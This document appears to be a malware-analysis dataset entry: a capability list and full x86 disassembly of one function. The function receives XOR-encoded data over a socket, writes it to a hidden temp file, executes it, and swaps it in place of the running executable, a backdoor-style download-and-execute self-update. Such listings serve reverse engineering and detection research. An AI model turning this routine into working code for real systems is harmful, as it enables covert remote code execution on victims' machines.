Function at 0x403077
Capabilities:
Create process on windows
Delete file
Download and write a file
Encode data using xor
Get common file path
Move file
Receive and write data from server to client
Receive data
Receive data on socket
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1878
call fcn.00406a20
push ebx
push esi
push edi
mov esi, 0x400
push esi
lea eax, [ebp - 0x1874]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x1874]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x1074]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x4074c4
lea eax, [ebp - 0x1874]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x1074]
push eax
mov byte [ebp - 5], 1
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x4031ab
mov ecx, dword [ebp + 8]
push 0x4074cc
call fcn.00401f42
pop ecx
mov ecx, eax
call section..text
mov ecx, dword [ebp + 8]
push str.size
mov byte [ebp - 0xd], al
call fcn.00401f42
pop ecx
mov ecx, eax
call section..text
push dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
call fcn.004028a3
pop ecx
mov dword [ebp - 0x18], eax
cmp eax, 0xffffffff
je 0x403199
cmp dword [ebp - 0x14], ebx
je 0x403191
push ebx
push esi
lea eax, [ebp - 0x474]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, ebx
jle 0x40318e
xor eax, eax
cmp edi, ebx
jle 0x403171
mov cl, byte [ebp - 0xd]
xor byte [ebp + eax - 0x474], cl
inc eax
cmp eax, edi
jl 0x403162
push ebx
lea eax, [ebp - 0x2c]
push eax
push edi
lea eax, [ebp - 0x474]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub dword [ebp - 0x14], edi
jne 0x403144
jmp 0x403191
mov byte [ebp - 5], bl
mov esi, dword [ebp - 0x18]
call fcn.004028cc
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 5], bl
je 0x40336b
mov esi, 0x41ae68
push esi
lea edi, [ebp - 0x1074]
call fcn.004065c0
pop ecx
push 6
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x14]
push 4
push eax
call fcn.00402459
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
pop ecx
pop ecx
push dword [ebp - 0x14]
call edi
shr eax, 1
push eax
call edi
push eax
lea eax, [ebp - 0x474]
push str.Shell.IPC._x_X_x
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea eax, [ebp - 0x474]
push eax
push ebx
push ebx
push 0x42b094
mov byte [ebp - 5], bl
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x40336b
lea eax, [ebp - 0x474]
push eax
lea eax, [ebp - 0x1074]
push eax
lea eax, [ebp - 0xc]
push str.__s___u1___s_
push eax
call fcn.00402b4e
add esp, 0x10
test eax, eax
je 0x4032b6
push 0x40
lea eax, [ebp - 0x70]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0xc]
xor edi, edi
inc edi
push ebx
mov dword [ebp - 0x74], 0x44
mov dword [ebp - 0x48], edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4032ab
push 0xea60
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg eax
sbb al, al
push ebx
push dword [ebp - 0x28]
inc al
mov byte [ebp - 5], al
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call fcn.0040241e
pop ecx
jmp 0x4032b9
xor edi, edi
inc edi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 5], bl
je 0x40336b
lea eax, [ebp - 0x874]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x407518
lea eax, [ebp - 0x1874]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push edi
lea eax, [ebp - 0x874]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push edi
push esi
lea eax, [ebp - 0x1074]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 0x874]
push eax
push esi
lea eax, [ebp - 0xc]
push str.__s___u2___s_
push eax
call fcn.00402b4e
add esp, 0x10
test eax, eax
je 0x403378
push 0x40
lea eax, [ebp - 0x70]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
push dword [ebp - 0xc]
mov dword [ebp - 0x74], 0x44
push ebx
mov dword [ebp - 0x48], edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x403360
call fcn.00403b8f
push dword [ebp - 0xc]
call fcn.0040241e
pop ecx
jmp 0x403378
lea eax, [ebp - 0x1074]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
leave
ret